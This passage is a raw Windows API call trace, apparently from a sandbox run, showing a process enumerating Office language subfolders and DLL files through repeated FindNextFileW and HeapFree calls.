	[0078.491] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0078.491] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk", cAlternateFileName="")) returned 1
	[0078.494] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0078.494] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl", cAlternateFileName="")) returned 1
	[0078.498] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0078.498] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x95505c, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x95505c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x45c38, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqmapi_x64.dll", cAlternateFileName="SQMAPI~1.DLL")) returned 1
	[0078.500] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0078.500] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6aee686, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6d05722, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6d05722, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn", cAlternateFileName="")) returned 1
	[0078.504] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0078.504] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x865a7d2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x865a7d2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sr-Latn-CS", cAlternateFileName="SR-LAT~1")) returned 1
	[0078.507] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0078.507] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa25d2ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x670f8d9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x670f8d9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv", cAlternateFileName="")) returned 1
	[0078.511] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0078.511] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6cde4ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6cde4ae, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6cde4ae, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c2b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System.Spatial.NetFX35.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1
	[0078.513] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0078.513] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa8eba59, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x453c2a7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr", cAlternateFileName="")) returned 1
	[0078.518] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0078.518] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x37f90ac, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37f90ac, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="uk", cAlternateFileName="")) returned 1
	[0078.522] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0078.522] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4692737, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x4abf9f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4abf9f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="vi", cAlternateFileName="")) returned 1
	[0078.524] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0078.524] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e56af1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x680214, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x680214, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANS", cAlternateFileName="")) returned 1
	[0078.528] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0078.528] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 1
	[0078.531] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0078.531] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 0
	[0078.531] FindClose (in: hFindFile=0x31211d0 | out: hFindFile=0x31211d0) returned 1
	[0078.531] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e739b0 | out: hHeap=0x500000) returned 1
	[0078.531] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 0
	[0078.531] FindClose (in: hFindFile=0x31216d0 | out: hFindFile=0x31216d0) returned 1
	[0078.531] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3970 | out: hHeap=0x500000) returned 1
	[0078.536] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3688, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1
	[0078.544] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e939c0 | out: hHeap=0x500000) returned 1
	[0078.544] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Power View Excel Add-in", cAlternateFileName="POWERV~1")) returned 1
	[0078.550] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0078.550] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1
	[0078.553] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0078.553] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133a7bf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133a7bf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="BI-Report.png", cAlternateFileName="BI-REP~1.PNG")) returned 1
	[0078.558] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0078.558] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1
	[0079.175] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.175] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1
	[0079.178] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.178] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1
	[0079.182] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.182] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1
	[0079.184] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.184] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1
	[0079.192] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.192] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1
	[0079.194] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.195] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1
	[0079.199] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.199] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x138defa8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1
	[0079.201] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.201] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1
	[0079.205] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.205] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aced2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1
	[0079.207] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.207] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13a8299e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1
	[0079.211] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.211] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1
	[0079.215] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.215] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1
	[0079.217] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.217] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14648313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1
	[0079.231] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.231] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1434d390, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1
	[0079.233] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.233] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1
	[0079.237] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.237] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x146e0bdc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1
	[0079.239] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.239] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1
	[0079.243] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.243] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14ac0994, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1
	[0079.246] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.246] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b529d9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1
	[0079.285] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3db3970 | out: hHeap=0x500000) returned 1
	[0079.285] FindNextFileW (in: hFindFile=0x3121910, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1
